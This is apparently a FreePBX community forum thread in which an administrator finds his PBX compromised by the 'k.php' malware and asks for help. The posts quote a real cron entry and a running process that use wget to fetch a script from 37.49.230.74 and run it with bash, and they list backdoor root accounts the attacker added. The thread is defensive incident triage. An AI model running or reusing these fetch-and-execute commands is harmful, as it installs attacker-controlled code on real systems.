# What is the significance of 37.49.230.74:80 to freepbx?

**URL:** <https://community.freepbx.org/t/what-is-the-significance-of-37-49-230-74-80-to-freepbx/83131>\
**Category:** Security\
**Created:** [May 3, 2022, 4:04pm UTC](https://community.freepbx.org/t/what-is-the-significance-of-37-49-230-74-80-to-freepbx/83131 "2022-05-03T16:04:01Z")\
**Posts on this page:** 9\
**Page:** 1

<div class="post-metadata">

**Author:** ![byrnejb](https://community.freepbx.org/letter_avatar_proxy/v4/letter/b/d2c977/32.png) [@byrnejb](https://community.freepbx.org/u/byrnejb)\
**Post date:** [May 3, 2022, 4:04pm UTC](https://community.freepbx.org/t/what-is-the-significance-of-37-49-230-74-80-to-freepbx/83131/1 "2022-05-03T16:04:02Z")

</div>

I am doing some work relating to a new gateway router and perimeter firewall. While checking https connectivity from outside I happened to discover this using netstat:

```auto
# netstat -an | grep 80
tcp 0 0 192.168.6.9:41780 0.0.0.0:* LISTEN      
tcp 0 1 192.168.6.9:42528 37.49.230.74:80 SYN_SENT    
tcp 0 1 192.168.6.9:42522 37.49.230.74:80 SYN_SENT    
tcp 0 1 192.168.6.9:42526 37.49.230.74:80 SYN_SENT  
. . .

```

My question: What is freebsd doing connecting to that address?

---

<div class="post-metadata">

**Author:** ![Stewart1](https://community.freepbx.org/letter_avatar_proxy/v4/letter/s/bc79bd/32.png) [@Stewart1](https://community.freepbx.org/u/Stewart1)\
**Post date:** [May 3, 2022, 4:10pm UTC](https://community.freepbx.org/t/what-is-the-significance-of-37-49-230-74-80-to-freepbx/83131/2 "2022-05-03T16:10:08Z")

</div>

That is malicious traffic specific to FreePBX – your machine has already been compromised.

Had your firewall not blocked it, the script would have retrieved more malicious code.

---

<div class="post-metadata">

**Author:** ![byrnejb](https://community.freepbx.org/letter_avatar_proxy/v4/letter/b/d2c977/32.png) [@byrnejb](https://community.freepbx.org/u/byrnejb)\
**Post date:** [May 3, 2022, 4:20pm UTC](https://community.freepbx.org/t/what-is-the-significance-of-37-49-230-74-80-to-freepbx/83131/3 "2022-05-03T16:20:50Z")

</div>

So I see this:

`root 24718 1 0 12:18 ? 00:00:00 /bin/sh -c wget http://37.49.230.74/k.php -O /var/lib/asterisk/bin/devnull2;bash /var/lib/asterisk/bin/devnull2`

Which is likely the compromise script running. How do I tell where is is running from?

---

<div class="post-metadata">

**Author:** ![byrnejb](https://community.freepbx.org/letter_avatar_proxy/v4/letter/b/d2c977/32.png) [@byrnejb](https://community.freepbx.org/u/byrnejb)\
**Post date:** [May 3, 2022, 4:22pm UTC](https://community.freepbx.org/t/what-is-the-significance-of-37-49-230-74-80-to-freepbx/83131/4 "2022-05-03T16:22:57Z")

</div>

That is interesting. I see this in cron:

```auto
*/1 * * * * wget http://37.49.230.74/k.php -O /var/lib/asterisk/bin/devnull2;bash /var/lib/asterisk/bin/devnull2

```

---

<div class="post-metadata">

**Author:** ![adell4444](https://community.freepbx.org/user_avatar/community.freepbx.org/adell4444/32/21492_2.png) [@adell4444](https://community.freepbx.org/u/adell4444)\
**Post date:** [May 3, 2022, 4:24pm UTC](https://community.freepbx.org/t/what-is-the-significance-of-37-49-230-74-80-to-freepbx/83131/5 "2022-05-03T16:24:07Z")

</div>

Your system is compromised, as @Stewart1 already said. Your best bet is to wipe and start over. You can attempt to cleanup but you are assuming that you are smarter/more determined than the bad guys.

---

<div class="post-metadata">

**Author:** ![Stewart1](https://community.freepbx.org/letter_avatar_proxy/v4/letter/s/bc79bd/32.png) [@Stewart1](https://community.freepbx.org/u/Stewart1)\
**Post date:** [May 3, 2022, 4:25pm UTC](https://community.freepbx.org/t/what-is-the-significance-of-37-49-230-74-80-to-freepbx/83131/6 "2022-05-03T16:25:33Z")

</div>

This thread may be useful:

> [@K.php - a RestApps malicious script](https://community.freepbx.org/t/k-php-a-restapps-malicious-script/80399):
>
> If you were impacted by the restapps security regression a week or two ago, it is possible you were hit with a php script that is currently labeled “k.php” If you want to see if you were compromised by this script, I’ve included some content below that you can check. I do not claim to have identified everything, but I’m hoping this might help someone. Anyways, here are the places you can look. crontab -e -u root → if this line exists, you’re compromised. DO NOT run this for testing. \*/1 \* …

but I strongly agree with @adell4444 – start over.

---

<div class="post-metadata">

**Author:** ![byrnejb](https://community.freepbx.org/letter_avatar_proxy/v4/letter/b/d2c977/32.png) [@byrnejb](https://community.freepbx.org/u/byrnejb)\
**Post date:** [May 3, 2022, 4:26pm UTC](https://community.freepbx.org/t/what-is-the-significance-of-37-49-230-74-80-to-freepbx/83131/7 "2022-05-03T16:26:51Z")

</div>

Which of these are used by FreePBX?

```auto
root:x:0:0:root:/root:/bin/bash
sugarmaint:x:0:0::/home/sugarmaint:/bin/bash
supports:x:0:0::/home/supports:/bin/bash
supermaint:x:0:0::/home/supermaint:/bin/bash

```

Yes, I see the need to get this fixed with a scrub. But not in the middle of a workday.

---

<div class="post-metadata">

**Author:** ![adell4444](https://community.freepbx.org/user_avatar/community.freepbx.org/adell4444/32/21492_2.png) [@adell4444](https://community.freepbx.org/u/adell4444)\
**Post date:** [May 3, 2022, 5:03pm UTC](https://community.freepbx.org/t/what-is-the-significance-of-37-49-230-74-80-to-freepbx/83131/8 "2022-05-03T17:03:19Z")

</div>

sugarmaint supports and supermaint are all known to have been maliciously added. Take a read through the thread that was attached.

---

<div class="post-metadata">

**Author:** ![system](https://community.freepbx.org/uploads/default/original/3X/f/7/f7056d57e04fdbf71c6ad967e1ced351317f5c3f.png) [@system](https://community.freepbx.org/u/system)\
**Post date:** [June 2, 2022, 5:03pm UTC](https://community.freepbx.org/t/what-is-the-significance-of-37-49-230-74-80-to-freepbx/83131/9 "2022-06-02T17:03:26Z")

</div>

Closed on June 2, 2022, 5:03pm UTC

This topic was automatically closed 30 days after the last reply. New replies are no longer allowed.
